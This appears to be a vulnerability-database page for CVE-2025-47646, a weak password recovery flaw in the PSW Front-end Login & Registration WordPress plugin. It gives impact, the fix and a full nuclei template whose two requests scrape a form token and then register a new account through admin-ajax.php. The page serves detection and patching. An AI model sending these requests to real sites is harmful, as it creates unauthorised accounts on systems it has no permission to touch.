Browse / CVEs / CVE-2025-47646
CVE-2025-47646· CWE-640
PSW Front-end Login & Registration 1.13 - Weak Password Recovery
PSW Front-end Login & Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.
Impact
Unauthenticated attackers can register new administrator accounts through weak password recovery mechanisms, potentially gaining complete administrative access to the WordPress site.
Fix
Upgrade PSW Front-end Login & Registration plugin to version 1.14 or later that implements secure password recovery mechanisms.
How to confirm it
Send: GET /wp-login.php
Positive when: contains "psw_registration" and "pswlogform" and "/wp-content/plugins/psw-login-and-registration"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains_all(body, "{{username}}","activation link") and status_code == 200Run it with nuclei: nuclei -id CVE-2025-47646 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-47646
info:
name: PSW Front-end Login & Registration 1.13 - Weak Password Recovery
author: pussycat0x
severity: critical
description: |
PSW Front-end Login & Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.
impact: |
Unauthenticated attackers can register new administrator accounts through weak password recovery mechanisms, potentially gaining complete administrative access to the WordPress site.
remediation: |
Upgrade PSW Front-end Login & Registration plugin to version 1.14 or later that implements secure password recovery mechanisms.
reference:
- https://github.com/RootHarpy/CVE-2025-47646
- https://github.com/Nxploited/CVE-2025-47646
- https://patchstack.com/database/wordpress/plugin/psw-login-and-registration/vulnerability/wordpress-psw-front-end-login-registration-1-12-broken-authentication-vulnerability?_s_id=cve
- https://github.com/PuddinCat/GithubRepoSpider
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-47646
cwe-id: CWE-640
epss-score: 0.24718
epss-percentile: 0.97911
tags: cve,cve2025,wordpress,wp-plugin,psw,intrusive,vuln
variables:
username: "{{randstr}}"
password: "{{randstr}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers:
- type: word
part: body
words:
- "psw_registration"
- "pswlogform"
- "/wp-content/plugins/psw-login-and-registration"
condition: and
internal: true
extractors:
- type: regex
name: token
group: 1
regex:
- 'name="pswforgetform" value="(.*?)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: {{RootURL}}
Referer: {{RootURL}}
first_name={{username}}&last_name={{username}}&new_user_name={{username}}&new_user_email={{email}}&new_user_password={{password}}&new_user_password_confirmation={{password}}&action=register_user_front_end&psw_form={{token}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "{{username}}","activation link")'
- 'status_code == 200'
condition: andReferences
- https://github.com/RootHarpy/CVE-2025-47646
- https://github.com/Nxploited/CVE-2025-47646
- https://patchstack.com/database/wordpress/plugin/psw-login-and-registration/vulnerability/wordpress-psw-front-end-login-registration-1-12-broken-authentication-vulnerability?_s_id=cve
- https://github.com/PuddinCat/GithubRepoSpider
- https://github.com/nomi-sec/PoC-in-GitHub
Use this check only on systems you are authorised to test. Where the data comes from